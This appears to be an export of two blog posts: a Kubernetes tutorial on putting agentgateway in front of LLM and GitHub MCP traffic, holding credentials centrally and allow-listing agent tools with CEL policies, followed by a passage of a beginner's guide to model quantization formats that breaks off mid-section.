Traditional API gateways are built for one shape of traffic: stateless, REST-style, one request in, pick a backend, one response out. Agent protocols like the **Model Context Protocol (MCP)** and **Agent-to-Agent (A2A)** are a completely different beast:

| Traditional API Gateway       | Agent traffic (MCP / A2A)                                         |
| ----------------------------- | ----------------------------------------------------------------- |
| Stateless request/response    | **Stateful JSON-RPC sessions** with long-lived connections        |
| One request to one backend    | **Session fan-out** across multiple MCP servers at once           |
| Client-initiated only         | **Bidirectional**: servers push events to clients over SSE        |
| Routing by path/header        | **Protocol-aware routing** that parses JSON-RPC message bodies    |
| Static backend mapping        | **Dynamic tool virtualization**: different clients see different tools |

A normal gateway can't filter a `tools/list` response to hide a tool from one caller, because it has no idea what a `tools/list` response *is*. It can't authorize an individual tool call, because the tool name lives inside a JSON-RPC body it never parses. You'd be bolting agent-awareness onto something that was never designed for it.

That's the gap. Agent traffic needs a data plane that speaks these protocols natively.

## What agentgateway Actually Is

[agentgateway](https://agentgateway.dev/) is an open source proxy and control plane, written in Rust, that unifies **HTTP, gRPC, LLM, MCP, and A2A** traffic in a single data plane. It's a project under the Linux Foundation (and the Agentic AI Foundation), not a single vendor's closed product.

The important framing is that it is a *full* HTTP and gRPC proxy with the things you'd expect, such as load balancing, retries, timeouts, TLS, rate limiting, and authorization. On top of that, it implements the pieces that traditional gateways are missing for agents. So you don't run a "normal gateway" and a separate "AI gateway." It's one data plane.

It does three jobs:

1. **LLM Gateway.** It exposes a single, **OpenAI-compatible API** and routes to OpenAI, Anthropic, Gemini, Bedrock, Azure, Ollama, and many more. Your application code stops caring which provider is behind it. You get token metering, cost tracking, budgets, failover, and guardrails for free.

2. **MCP Gateway.** It connects agents to tools over MCP, with **tool federation** (aggregate many MCP servers behind one endpoint), OpenAPI-to-MCP conversion, and **per-tool authentication and authorization**.

3. **A2A Gateway.** It secures agent-to-agent communication so agents can discover and collaborate without exposing their internal tools and state.

It runs anywhere: bare metal, VMs, Docker, or Kubernetes. And on Kubernetes it's built on the standard [Gateway API](https://gateway-api.sigs.k8s.io/), so `Gateway` and `HTTPRoute` resources work exactly as you'd expect, extended with a couple of custom resources (`AgentgatewayBackend`, `AgentgatewayPolicy`) for the agent-specific parts.

## The Three Reasons You'd Actually Reach for It

There are a lot of features. But in practice, teams adopt agentgateway for three reasons.

### Reason 1: Security and governance you can enforce centrally

This is the big one. With agentgateway in the path, you can:

- **Stop handing LLM keys and tool tokens to agents.** The LLM provider key stays with the gateway. The GitHub token stays with the gateway. The agent talks to the gateway, and the gateway forwards the request to the LLM provider or MCP server with the real credentials. A compromised agent leaks nothing useful.
- **Control which tools an agent can call** with fine-grained, CEL-based RBAC rules, down to the individual tool name, optionally keyed on JWT claims. If a tool isn't allowed, the gateway hides it from the tool list entirely and rejects any attempt to call it.
- **Apply guardrails and prompt protection** on LLM and MCP traffic in one place.

You'll see the tool control enforced live later in this part.

### Reason 2: Cost and token visibility

Agent traffic is expensive and, by default, invisible. agentgateway tracks token consumption for every request and exposes it as Prometheus metrics, with labels for the model, provider, and direction. From there you can calculate cost per request, per model, or per user, graph spend in Grafana, and alert when a budget is crossed. That is the entire subject of Part 2.

### Reason 3: One data plane for any framework and any provider

agentgateway sits at the network layer, so it is **framework-agnostic**. LangGraph, CrewAI, the OpenAI Agents SDK, and Google ADK all just point at a URL. And because the LLM side is OpenAI-compatible, **you can swap providers without touching agent code**. Change the backend from OpenAI to Anthropic in the gateway, and every agent follows, with no redeploys.

## How agentgateway Touches Cost, Time, and Developer Experience

Here's how those capabilities map to the three things people actually budget for:

| Concern                  | Without a gateway                                                      | With agentgateway                                                                 |
| ------------------------ | --------------------------------------------------------------------- | -------------------------------------------------------------------------------- |
| **Cost**                 | Token spend is opaque; no per-model or per-team breakdown; no budgets  | Per-request token metrics, cost dashboards, PromQL queries, budget alerts         |
| **Time**                 | Each team re-implements auth, secret handling, retries, and logging per agent | Implement it once at the gateway; new agents inherit it by pointing at a URL       |
| **Developer experience** | Devs juggle provider keys and tool tokens, and rewrite code to switch providers | Agents hold no secrets; one OpenAI-compatible endpoint; swap providers with zero code change |

The developer-experience point is the one engineers feel immediately. In the demo below, the agent's code contains a fake API key (`sk-not-a-real-key`) and *no* GitHub token at all, and it still works, because the gateway owns the real credentials.

## The Architecture We'll Build

Everything runs on one `kind` cluster. The agent runs on your laptop and reaches the gateway through a port-forward. The gateway is the only component that holds real secrets.

![Architecture of agentgateway running on a kind cluster with an ADK agent and MCP backend](/img/blog/controlling-mcp-tools-with-agentgateway-on-kubernetes/architecture-to-build.png)

Let's build it.

## How to Spin Up a kind Cluster

If you don't already have a cluster, `kind` gives you a real Kubernetes API in a Docker container in about thirty seconds:

```sh
kind create cluster --name agentgateway-demo
```

Confirm it's up:

```sh
kubectl cluster-info --context kind-agentgateway-demo
```

## How to Install agentgateway

agentgateway on Kubernetes has two parts: a **control plane** (it watches Gateway API and agentgateway custom resources and translates them into proxy config) and the **data plane** proxies it spins up for you.

**Step 1: Install the Kubernetes Gateway API CRDs.** We install the *experimental* channel because it enables a few features (like CORS filters) that make local verification with the MCP Inspector easier.

```sh
kubectl apply --server-side --force-conflicts \
  -f https://github.com/kubernetes-sigs/gateway-api/releases/download/v1.5.0/experimental-install.yaml
```

**Step 2: Install the agentgateway CRDs with Helm.**

```sh
helm upgrade -i agentgateway-crds oci://cr.agentgateway.dev/charts/agentgateway-crds \
  --create-namespace --namespace agentgateway-system \
  --version v1.2.1 \
  --set controller.image.pullPolicy=Always
```

**Step 3: Install the agentgateway control plane.** The experimental feature gate matches the experimental CRDs from Step 1.

```sh
helm upgrade -i agentgateway oci://cr.agentgateway.dev/charts/agentgateway \
  --namespace agentgateway-system \
  --version v1.2.1 \
  --set controller.image.pullPolicy=Always \
  --set controller.extraEnv.KGW_ENABLE_GATEWAY_API_EXPERIMENTAL_FEATURES=true \
  --wait
```

Verify the control plane is running:

```sh
kubectl get pods -n agentgateway-system
```

```console
NAME                            READY   STATUS    RESTARTS   AGE
agentgateway-5495d98459-46dpk   1/1     Running   0          19s
```

**Step 4: Create the gateway proxy.** This `Gateway` uses the `agentgateway` GatewayClass; the control plane sees it and deploys an actual proxy for you.

```sh
kubectl apply -f- <<EOF
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: agentgateway-proxy
  namespace: agentgateway-system
spec:
  gatewayClassName: agentgateway
  listeners:
  - protocol: HTTP
    port: 80
    name: http
    allowedRoutes:
      namespaces:
        from: All
EOF
```

Confirm the proxy deployment came up:

```sh
kubectl get deployment agentgateway-proxy -n agentgateway-system
```

**Step 5: Port-forward the proxy** so your laptop can reach it on `localhost:8080`. Leave this running in its own terminal, because every request from the agent and from `curl` goes here.

```sh
kubectl port-forward deployment/agentgateway-proxy -n agentgateway-system 8080:80
```

You now have a working agent-native data plane. It just doesn't route anything yet.

## How to Route LLM Traffic Through the Gateway

We'll give the gateway your LLM provider key once, and never put it anywhere near the agent.

**Step 1: Store the provider key as a Secret.** We create it imperatively rather than from a file, so your key never lands in a YAML you might commit.

```sh
export OPENAI_API_KEY='<your-openai-api-key>'

kubectl create secret generic openai-secret \
  -n agentgateway-system \
  --from-literal=Authorization="$OPENAI_API_KEY"
```

**Step 2: Define the LLM backend.** The `AgentgatewayBackend` describes the provider and points at the secret for auth.

```sh
kubectl apply -f- <<EOF
apiVersion: agentgateway.dev/v1alpha1
kind: AgentgatewayBackend
metadata:
  name: openai
  namespace: agentgateway-system
spec:
  ai:
    provider:
      openai:
        model: gpt-4o-mini
  policies:
    auth:
      secretRef:
        name: openai-secret
EOF
```

> **Want Anthropic instead?** Swap `provider.openai` for `provider.anthropic` and use an Anthropic key in the secret. The agent code does not change at all, because the agent only ever speaks the OpenAI-compatible API to the gateway.

**Step 3: Route `/v1` to the LLM backend.** We use the `/v1` path prefix so the standard OpenAI path `/v1/chat/completions` lands here, and so it never collides with the `/mcp-github` route we add next.

```sh
kubectl apply -f- <<EOF
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: openai
  namespace: agentgateway-system
spec:
  parentRefs:
    - name: agentgateway-proxy
      namespace: agentgateway-system
  rules:
    - matches:
        - path:
            type: PathPrefix
            value: /v1
      backendRefs:
        - name: openai
          namespace: agentgateway-system
          group: agentgateway.dev
          kind: AgentgatewayBackend
EOF
```

**Step 4: Prove it works.** Notice there is no `Authorization` header in this `curl`. The gateway adds it.

```sh
curl -sS localhost:8080/v1/chat/completions -H content-type:application/json \
  -d '{"model":"gpt-4o-mini","messages":[{"role":"user","content":"hi"}]}' | jq ".choices[0].message.content"
```

If you get a sentence back, your gateway is now a credential-free LLM endpoint.

## How to Connect an MCP Tool Server Through the Gateway

For tools, we'll front the **remote GitHub MCP server**. It's a great choice for this demo because it exposes many tools (`get_me`, `search_repositories`, `list_issues`, and more), which lets us allow one and block another in the next section.

**Step 1: Store your GitHub token** in your shell. The heredoc below expands it into the manifest, so it is injected at apply time rather than committed anywhere.

```sh
export GH_PAT='<your-github-personal-access-token>'
```

**Step 2: Define the MCP backend.** This is a `static` target pointing at GitHub's MCP endpoint over HTTPS.

```sh
kubectl apply -f- <<EOF
apiVersion: agentgateway.dev/v1alpha1
kind: AgentgatewayBackend
metadata:
  name: github-mcp-backend
  namespace: agentgateway-system
spec:
  mcp:
    targets:
    - name: mcp-target
      static:
        host: api.githubcopilot.com
        port: 443
        path: /mcp/
        policies:
          tls:
            sni: api.githubcopilot.com
EOF
```

**Step 3: Route `/mcp-github` to it, and inject the GitHub token.** The `RequestHeaderModifier` filter is where the gateway attaches your PAT, so the agent never sees it. The CORS filter lets the browser-based MCP Inspector connect during verification. The `${GH_PAT}` is expanded from your shell by the heredoc.

```sh
kubectl apply -f- <<EOF
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: mcp-github
  namespace: agentgateway-system
spec:
  parentRefs:
    - name: agentgateway-proxy
      namespace: agentgateway-system
  rules:
    - matches:
        - path:
            type: PathPrefix
            value: /mcp-github
      filters:
        - type: CORS
          cors:
            allowHeaders: ["*"]
            allowMethods: ["*"]
            allowOrigins: ["http://localhost:8080"]
        - type: RequestHeaderModifier
          requestHeaderModifier:
            set:
              - name: Authorization
                value: "Bearer ${GH_PAT}"
      backendRefs:
        - name: github-mcp-backend
          group: agentgateway.dev
          kind: AgentgatewayBackend
EOF
```

**Step 4: Verify with the MCP Inspector.** This confirms the tool path works before we put an agent on top of it.

```sh
npx @modelcontextprotocol/inspector@0.21.2 \
  --cli http://localhost:8080/mcp-github \
  --transport http \
  --method tools/call \
  --tool-name get_me
```

You should get back a JSON blob describing your GitHub profile. The gateway is now a credential-free tool endpoint, too.

## How to Build the Agent with Google ADK

Now the fun part. We'll build a small agent with [Google's Agent Development Kit](https://google.github.io/adk-docs/) that points *both* its model and its tools at the gateway.

**Step 1: Set up a clean Python environment.** Use a virtualenv on Python 3.10+ so that `adk` and `python` resolve to the same interpreter, and install the `mcp` SDK explicitly. ADK needs `mcp` for MCP tools but does not install it by default, and a stray system Python without it is the most common reason `adk run` later fails with an import error.

```sh
python3 -m venv .venv
source .venv/bin/activate
pip install -U pip
pip install google-adk litellm mcp
```

Confirm the venv's `adk` is the one on your PATH and that the MCP import resolves before going further:

```sh
which adk    # expect .../.venv/bin/adk   (if not, run: hash -r)
python -c "from google.adk.tools.mcp_tool import McpToolset; print('imports OK')"
```

**Step 2: Create the agent.** Make a folder `github_agent/` with two files.

`github_agent/__init__.py`:

```python
from . import agent
```

`github_agent/agent.py`:

```python
from google.adk.agents.llm_agent import Agent
from google.adk.models.lite_llm import LiteLlm
from google.adk.tools.mcp_tool import McpToolset
from google.adk.tools.mcp_tool.mcp_session_manager import StreamableHTTPConnectionParams

root_agent = Agent(
    name="github_agent",
    # The model is reached THROUGH agentgateway's OpenAI-compatible endpoint.
    # The api_key is intentionally fake. The gateway holds the real one.
    model=LiteLlm(
        model="openai/gpt-4o-mini",
        api_base="http://localhost:8080/v1",
        api_key="sk-not-a-real-key",
    ),
    instruction=(
        "You are a helpful GitHub assistant. Use the available tools to answer "
        "questions about the user's GitHub account and to search repositories. "
        "If a tool call fails because it is not authorized, say so plainly."
    ),
    # The tools are reached THROUGH agentgateway's MCP endpoint.
    # No GitHub token here either. The gateway injects it.
    tools=[
        McpToolset(
            connection_params=StreamableHTTPConnectionParams(
                url="http://localhost:8080/mcp-github",
            )
        )
    ],
)
```

Look at what this agent does *not* contain: a real model key, and a GitHub token. Both live in the gateway. That is the entire developer-experience and security story.

**Step 3: Run it.** From the directory *above* `github_agent/`:

```sh
adk run github_agent
```

Ask it two things:

- *"What's my GitHub username and profile?"* → it calls the `get_me` tool and answers.
- *"Search GitHub for popular kubernetes repositories."* → it calls the `search_repositories` tool and answers.

Both work right now, because we haven't restricted anything yet. That's exactly the problem we're about to fix.

### How a single turn flows through the gateway

Now that it works, here is what actually happens on the wire. The agent is the orchestrator. It makes a series of separate calls, and every one passes through agentgateway, which injects the right credential and applies the tool policy on each hop.

![Sequence diagram of one ADK agent turn flowing through agentgateway to the GitHub MCP server and OpenAI](/img/blog/controlling-mcp-tools-with-agentgateway-on-kubernetes/agent-request-flow.png)

Walk through a question like "what is my GitHub username":

1. **Tool Discovery**
- Agent asks: "What GitHub tools do I have?" via /mcp-github.
- Gateway injects: The GitHub PAT token.
- Gateway filters: Strips out any banned tools based on the AgentgatewayPolicy before handing the list back to your laptop.

2. **First Model Call**
- Agent asks: Sends the user prompt + allowed tool schemas to /v1.
- Gateway injects: The OpenAI API key.
- Model decides: The LLM doesn't know GitHub exists; it just sees the schemas and responds with a request to run a specific tool (e.g., get_me).

3. **Tool Execution**
- Agent executes: Calls /mcp-github to run get_me.
- Gateway checks: Re-verifies policy, applies the PAT, and fetches the real data from GitHub to give back to the agent.

4. **Second Model Call**
- Agent finishes: Sends the raw tool data back to /v1.
- Model answers: The LLM translates the raw data into a clean, human-readable answer for your screen.

Both LLM and Github hops are credential-injected by the gateway, the OpenAI key on `/v1` and the GitHub PAT on `/mcp-github`, so the agent holds neither secret. And every step above is a line in the proxy logs, which is why those few log entries tell the whole story of a turn.

## How to Control Which MCP Tools the Agent Can Use

This is the centerpiece. We're going to tell the gateway that this backend may only use the `get_me` tool, and that everything else is denied. Then we'll watch `search_repositories`, which worked a moment ago, get rejected.

The mechanism is an `AgentgatewayPolicy` attached to the MCP backend. Its authorization rules are [CEL expressions](https://cel.dev/); rules are OR-ed together, and if a tool matches none of them, it is denied. Critically, the agent isn't asked to behave. The **gateway** refuses to forward the call.

**Step 1: Apply the allow-list policy.**

```sh
kubectl apply -f- <<EOF
apiVersion: agentgateway.dev/v1alpha1
kind: AgentgatewayPolicy
metadata:
  name: github-tool-rbac
  namespace: agentgateway-system
spec:
  targetRefs:
    - group: agentgateway.dev
      kind: AgentgatewayBackend
      name: github-mcp-backend
  backend:
    mcp:
      authorization:
        action: Allow
        policy:
          matchExpressions:
            # Only the get_me tool is allowed. Everything else is denied.
            - 'mcp.tool.name == "get_me"'
EOF
```

**Step 2: Watch the blocked call.** Run the Inspector CLI again, this time against the now-forbidden `search_repositories` tool:

```sh
npx @modelcontextprotocol/inspector@0.21.2 \
  --cli http://localhost:8080/mcp-github \
  --transport http \
  --method tools/call \
  --tool-name search_repositories \
  --tool-arg query="kubernetes"
```

The gateway does not just deny the call, it behaves as if the tool does not exist, because the allow-list filtered `search_repositories` out of this caller's view:

```console
Failed to call tool search_repositories: Streamable HTTP error: Error POSTing to endpoint: {"jsonrpc":"2.0","id":2,"error":{"code":-32602,"message":"Unknown tool: search_repositories"}}
```

Now confirm the allowed tool still works:

```sh
npx @modelcontextprotocol/inspector@0.21.2 \
  --cli http://localhost:8080/mcp-github \
  --transport http \
  --method tools/call \
  --tool-name get_me
```

That one returns your profile as before. One tool allowed, one tool blocked, enforced entirely at the gateway.

**Step 3: See it from the agent's side.** Re-run the agent:

```sh
adk run github_agent
```

- *"What's my GitHub username?"* → still works (`get_me` is allowed).
- *"Search GitHub for popular kubernetes repositories."* → `search_repositories` is no longer in the agent's tool list at all, so the model cannot pick it. If it does try a cached name, the gateway returns `Unknown tool`, and the agent tells you plainly that it cannot search.

There's a subtle, important detail here. When the gateway lists tools for a caller, it **filters out** the ones they can't use. So a well-behaved agent won't even be tempted to call a blocked tool, because it never sees it in the first place, and a misbehaving one that calls the name anyway gets the `Unknown tool` rejection above. That's defense in depth, where the tool is both hidden and refused.

If you want different tools per agent instead of one blanket allow-list, you give each agent an identity and key the CEL on it. Two ways: route each agent to its own backend and attach a different allow-list to each, or turn on MCP authentication and write rules against JWT claims, for example `'jwt.sub == "search-agent" && mcp.tool.name == "search_repositories"'`. The variables available include `mcp.tool.name`, `mcp.tool.target`, and any JWT claim via `jwt.<claim>`.

## The Security Properties Compared

Here's the before-and-after for the security side, the way your security and platform teams will evaluate it:

| Property                     | Agents wired directly                              | Agents behind agentgateway                                  |
| ---------------------------- | ------------------------------------------------- | ----------------------------------------------------------- |
| LLM provider key location    | Copied into every agent                            | One secret in the gateway; agents hold a fake key           |
| Tool credential location     | Copied into every agent                            | Injected by the gateway; agents hold none                   |
| Tool permissions             | Agent can call any tool the server exposes         | Allow-listed per backend (and per identity) with CEL RBAC   |
| Blocking a dangerous tool    | Hope the prompt says "don't"                       | Tool hidden by policy; calling it returns `Unknown tool`    |
| Switching LLM providers      | Code change in every agent                         | One backend change; zero agent changes                      |

## Common Issues and How to Solve Them

| Symptom | Likely cause | Fix |
| --- | --- | --- |
| `404` on `/v1/chat/completions` | LLM `HTTPRoute` path prefix doesn't match, or the port-forward is down | Confirm the route uses `PathPrefix: /v1` and that `kubectl port-forward ...8080:80` is live |
| Agent's tool calls hang or fail to connect | MCP route or backend misconfigured, or wrong transport | Verify with the MCP Inspector CLI first; ensure the agent uses `StreamableHTTPConnectionParams` against `/mcp-github` |
| Every tool returns `Unknown tool` | An `AgentgatewayPolicy` allow-list matched nothing, so every tool is hidden | Widen the CEL rule or delete the policy to reset |
| Gateway has no address for a while | The control plane is still reconciling | Give it a minute; on `kind` you'll use the port-forward, not an external IP |
| `helm` install fails on the OCI chart | Older Helm without OCI support | Use Helm v3.8+; OCI registries are enabled by default there |
| CORS filter rejected by the API server | Standard Gateway API CRDs installed, not experimental | Re-apply the `experimental-install.yaml` CRDs and the experimental feature-gate Helm flag |
| LiteLLM error about a missing/invalid key | LiteLLM still wants *a* key even though the gateway supplies the real one | Keep the placeholder `api_key="sk-not-a-real-key"`; it just needs to be non-empty |
| `curl: Failed writing body` (zsh on macOS) | You piped an error response into a `jq` path that doesn't exist, so `jq` closes the pipe early | Read the raw body with bare `jq` or `curl -i`; it shows the real error |
| LLM call returns `429 insufficient_quota` | The OpenAI API account has no credit. A ChatGPT subscription does not fund the API | Add credit at platform.openai.com under Billing, or point the backend at another provider |
| `adk run` fails with `No module named 'mcp'` or `cannot import name 'McpToolset'` | The `mcp` SDK is missing, or `adk` runs under a different Python than your venv | In an activated venv on Python 3.10+, run `pip install google-adk litellm mcp`, then verify `which adk` points into `.venv` |

## Conclusion

You took the problem every team hits the moment their second agent ships, secrets scattered across agents and no control over which tools they can call, and put a single, agent-native data plane in front of it.

Here's what you accomplished in Part 1:

1. Understood why a traditional API gateway can't govern MCP traffic, and what agentgateway does instead.
2. Stood up agentgateway on a `kind` cluster with Helm and the Kubernetes Gateway API.
3. Routed LLM traffic through the gateway's OpenAI-compatible endpoint, with the provider key held only by the gateway.
4. Fronted a multi-tool MCP server through the gateway, with the tool credential injected by the gateway.
5. Built a Google ADK agent whose model *and* tools both flow through the gateway, while the agent itself holds no real secrets.
6. Enforced tool-level access control with an `AgentgatewayPolicy`, and watched the gateway hide a forbidden tool so the call returns `Unknown tool`.

That is the governance half. You can now answer "which agents can call which tool," and you can prove it. The question you still can't answer is "what is all of this costing me," and that is Part 2: we add Prometheus and Grafana to the same cluster, scrape the gateway, and build a live dashboard of token throughput, per-tool usage, and an estimated dollar figure, with an alert when spend crosses a budget.

If this was useful, the agentgateway project lives at [agentgateway.dev](https://agentgateway.dev/) and on [GitHub](https://github.com/agentgateway/agentgateway).

---

# Day 4: Quantization Demystified. BF16, FP8, NVFP4, MXFP4, INT4, GGUF, and Why It All Matters

- Canonical: https://blog.kubesimplify.com/day-4-quantization-demystified-bf16-fp8-nvfp4-mxfp4-int4-gguf-and-why-it-all-matters
- Published: 2026-06-10
- Summary: A practical, beginner-friendly guide to BF16, FP8, NVFP4, MXFP4, INT4, and GGUF Q4_K_M on NVIDIA DGX Spark. Bytes per parameter, quality vs size, and which format to pick when.

*Day 4 of "7 Days of Local LLM". A field guide to running serious LLMs on a $4,699 box on your desk.*

---

In [Day 3](/blog/day-3-the-dgx-spark-unpacked-gb10-unified-memory-sm-121-and-the-one-reason-this-hardware-exists) we opened up the Spark and saw the hardware story: GB10, unified memory, `sm_121`, and Blackwell tensor cores. Now we need the software-number story.

That story is **quantization**.

Before we talk about BF16, FP8, NVFP4, or GGUF, we need to separate two things that are easy to mix up:

**Tokens are the text pieces moving through the model.**

**Weights are the learned numbers stored inside the model.**

They are not the same thing.

When you type:

`What's the capital of France?`

the tokenizer turns that text into token IDs. In a Llama-family tokenizer, it might look roughly like:

| Text piece | Meaning |
|---|---|
| `What` | token |
| `'s` | token |
| ` the` | token |
| ` capital` | token |
| ` of` | token |
| ` France` | token |
| `?` | token |

Those tokens are the input pieces. Later, the model outputs more tokens, maybe:

`Paris`

So tokens are the chunks of text going **in and out**.

Weights are different. Weights are the internal learned numbers the model uses while processing those tokens. They live inside huge tables called matrices. A single weight might be a number like:

`-0.037`

That number is not a word. It is not a token. It is more like a tiny dial in a giant mixing board.

Here is the most beginner-friendly way I can say it:

**A weight decides how strongly one signal should influence another signal.**

Imagine the model has built up internal signals like:

- this prompt is asking a question
- this question is about geography
- the country being discussed is France
- the answer should probably be a city

The model does not store those sentences in English. It stores and moves around numbers. The weights control how those number-signals get mixed at each layer. Some weights help boost the score for `Paris`. Some weights suppress bad next-token choices. Some weights help grammar. Some help code structure. Some help style. A single weight is meaningless by itself, but billions of them together create the model's behavior.

That is what a **parameter** is: a learned internal number. Most parameters in an LLM are weights. So when people say:

`Llama 3.3 70B`

they mean:

**about 70 billion learned internal numbers.**

Not 70 billion tokens. Not a 70 GB file. Not 70 billion words.

## What training actually changes

During training from scratch, the model starts with mostly random weights. It sees a huge amount of text that has already been tokenized. Then it plays the same game again and again:

1. Look at some tokens.
2. Predict the next token.
3. Compare the prediction with the real next token from the training text.
4. Measure how wrong it was. That error is called the **loss**.
5. Nudge the weights so the correct next token becomes more likely next time.

For example, the training text might contain:

`The capital of France is Paris`

The model sees:

`The capital of France is ___`

At the beginning of training, the model's next-token scores may be bad:

| Candidate next token | Early model score |
|---|---:|
| `Paris` | low |
| `banana` | weirdly possible |
| `the` | possible |
| `London` | possible |

The correct next token is `Paris`, so training pushes the model to give `Paris` a higher score in similar contexts. This does not happen by writing "France = Paris" into one place. It happens by tiny updates across many weight matrices.

After enough examples, the model learns patterns:

- "capital of France" usually points toward `Paris`
- "Kubernetes is a container" often points toward `orchestration`
- "write a Python function" often points toward code-shaped tokens
- "explain this simply" pushes toward teacher-style language

Training changes the weights. The tokens are the examples. The weights are what get learned.

## What inference reads

During inference, the weights are usually fixed. Your prompt becomes tokens. The model runs those tokens through layer after layer, using the weights at every step. At the end it produces scores for possible next tokens.

Then one token is chosen, appended to the text, and the process repeats.

That is why weights matter for next-token prediction:

**Weights shape the probability scores for the next token.**

And that is why weights matter for performance:

**During decode, the inference engine keeps reading the model's weights from memory to produce tokens.**

Now quantization becomes easier to understand. Quantization does not change the text tokens. It changes how the learned internal numbers are stored.

If a weight like `0.037` gets stored as `0.04`, that may be fine. If millions of important weights get rounded too aggressively, the next-token scores can shift and quality can drop. On the speed side, smaller weight storage means fewer bytes moving through memory.

This is also where the famous 70B memory math needs careful wording.

If a 70-billion-parameter model is stored in **BF16**, each parameter takes 2 bytes:

`70B parameters x 2 bytes = ~140 GB`

So the statement "a 70B model needs 140 GB" is true only for the BF16/unquantized-style version of that model's weights. It is not saying every 70B model file is always 140 GB.

This is why you can run a 70B model on a Mac: you are almost certainly running a **quantized** version, usually GGUF Q4/Q5 or something similar.

| 70B storage format | Rough weight storage | What that means |
|---|---:|---|
| BF16 | ~140 GB | full 16-bit weights, usually too big for local consumer setups |
| FP8 | ~70 GB | one byte per parameter before overhead |
| 4-bit raw | ~35 GB | half a byte per parameter before overhead |
| practical Q4 / NVFP4-style | ~40-45 GB | scales, metadata, and some higher-precision pieces add overhead |

That difference is the whole game. Same broad model architecture, same token flow, but a much smaller way to store the learned numbers.

{{day4-memory-fit-animation}}

This post explains the beginner version first, then the Spark version:

- Why tokens and weights are different
- What sign, exponent, and mantissa mean
- Why FP32, BF16, FP16, FP8, and FP4 are not just random names
- Why 4-bit does not automatically destroy quality
- How INT4, MXFP4, NVFP4, GGUF Q4_K_M, and IQ3_XXS differ
- Which format I would pick on Spark for serving, local chat, fine-tuning, and training

One sentence to carry through the whole post:

**Quantization does not usually change the model architecture. It changes how the model's numbers are stored and how the inference engine reads them.**

## What a floating-point number actually is

Now that tokens and weights are separate in our head, let's zoom into one weight.

A weight is just a number stored inside the model. A tiny example might look like this:

`-0.037`

The computer has to store that number somehow. For AI models, a common style is called **floating point**. "Floating" means the decimal point can move, a bit like scientific notation:

`-0.037 = -3.7 x 10^-2`

A floating-point number has three parts:

| Part | Plain English meaning | Everyday example |
|---|---|---|
| Sign | Positive or negative | Is the bank balance plus or minus? |
| Exponent | The scale or zoom level | Are we measuring millimeters, meters, or kilometers? |
| Mantissa | The detailed digits | Is it 3.7, 3.71, or 3.71492? |

So if a weight is stored as `-3.7 x 10^-2`:

- The **sign** says negative.
- The **exponent** says "move the decimal point two places."
- The **mantissa** carries the useful digits, like `3.7`.

For binary computers, the base is 2 instead of 10, but the idea is the same. The exponent decides the range. The mantissa decides the detail.

That is why number formats are tradeoffs. If you give more bits to the exponent, the number can cover a wider range. If you give more bits to the mantissa, the number can store finer detail.

| Format | Total bits | Sign | Exponent | Mantissa | Simple explanation |
|---|---:|---:|---:|---:|---|
| FP32 | 32 | 1 | 8 | 23 | Big and accurate. Great for reference math, expensive for serving. |
| FP16 | 16 | 1 | 5 | 10 | More detail than BF16, but less range. Can overflow more easily. |
| BF16 | 16 | 1 | 8 | 7 | Same range as FP32, less detail. Very common for training. |
| FP8 E4M3 | 8 | 1 | 4 | 3 | Small and fast, often used for inference weights/activations. |
| FP8 E5M2 | 8 | 1 | 5 | 2 | More range, less detail. Useful where values can swing more. |
| FP4 E2M1 | 4 | 1 | 2 | 1 | Tiny. Needs scaling tricks to be useful for LLMs. |

Think of it like image compression:

- **FP32** is the original RAW photo.
- **BF16** is still high quality, but smaller.
- **FP8** is a good web image: much smaller, usually still looks right.
- **FP4** is tiny. It only works if you add smart context around it.

Here is the same table in even plainer English:

**FP32** is the "do the math carefully" format. It has lots of mantissa bits, so it can keep fine detail. It is great for reference calculations, but too large for most LLM serving.

**FP16** is like writing the number with fewer digits but still keeping more detail than BF16. The catch is range: very large or very small values can overflow or underflow more easily.

**BF16** keeps FP32's exponent size, so it can represent roughly the same huge and tiny value ranges. It stores fewer detail bits, but that range makes it a comfortable default for training and fine-tuning.

**FP8 E4M3** means 1 sign bit, 4 exponent bits, and 3 mantissa bits. It is a compact one-byte format with more detail than E5M2, often useful when the engine and hardware support it.

**FP8 E5M2** gives one extra bit to the exponent and one fewer bit to detail. That makes it better when values can swing across a wider range.

**FP4 E2M1** is extremely small: only 16 possible codes. By itself that is very rough, so useful 4-bit formats add local scaling tricks around it.

That "smart context" is the next section.

---

![Diagram 1: The float layout family](/img/blog/day-4-quantization-demystified-bf16-fp8-nvfp4-mxfp4-int4-gguf-and-why-it-all-matters/d4-1-bit-layouts.svg)

---

## Why two 16-bit formats exist

This confused me early on, so let's make it simple.

Both FP16 and BF16 use 16 bits. But they spend those bits differently.

**FP16** spends more bits on the mantissa. That means it can store more detail, but its exponent is smaller, so the safe number range is narrower.

**BF16** keeps the same 8 exponent bits as FP32. That means it can cover roughly the same range as FP32, but with fewer detail bits. For neural network training, that range matters a lot. Gradients can become very small or very large. If your format cannot represent them, training can become unstable.

That is why modern training often defaults to BF16. It is not because BF16 is always "more accurate" than FP16. It is because BF16 is usually easier to train with safely.

## Why two FP8 formats exist

FP8 has the same tradeoff, just more extreme.

**E4M3** means 4 exponent bits and 3 mantissa bits. More detail, less range. This is often useful for inference and forward-pass values.

**E5M2** means 5 exponent bits and 2 mantissa bits. More range, less detail. This can be useful for values that swing around more, such as gradients in some training recipes.

The names look scary, but they are just labels for how the bits are split.

## Why 4-bit is hard

With 4 bits, you only have 16 possible codes.

That does **not** mean the whole model has only 16 values. It means each individual 4-bit stored value can choose from only 16 possible labels before scaling expands it back into a useful number.

Imagine trying to rate every restaurant in a city with only 16 possible scores. You can still do it, but you lose nuance. Many restaurants that are slightly different will get the same score.

For model weights, that rounding error is the danger. If too many important weights get rounded badly, the model starts losing quality.

Here is a simple mental example. Suppose three learned weights are:

`0.031`, `0.037`, `0.044`

In a higher-precision format, the model can keep those values separate. In a very rough 4-bit format, they may all collapse into nearly the same stored value. If those weights contributed to the signals that separate `Paris`, `Lyon`, and `London`, the final next-token scores can become less sharp.

The solution is not "4-bit is magically enough." The solution is **scaling**.

## Microscaling: how 4 bits can keep quality

The trick is to not use one giant ruler for the whole model.

Instead, you split weights into small groups. For each group, you store:

- the small 4-bit values
- one scale factor that says how big that group's local ruler is

Then the real value is reconstructed like this:

`real value = small 4-bit code x shared scale`

For NVFP4, the actual structure is:

- 16 values per micro-block
- each value is FP4 E2M1
- one FP8 E4M3 scale per 16-value block
- one higher-level FP32 scale per tensor

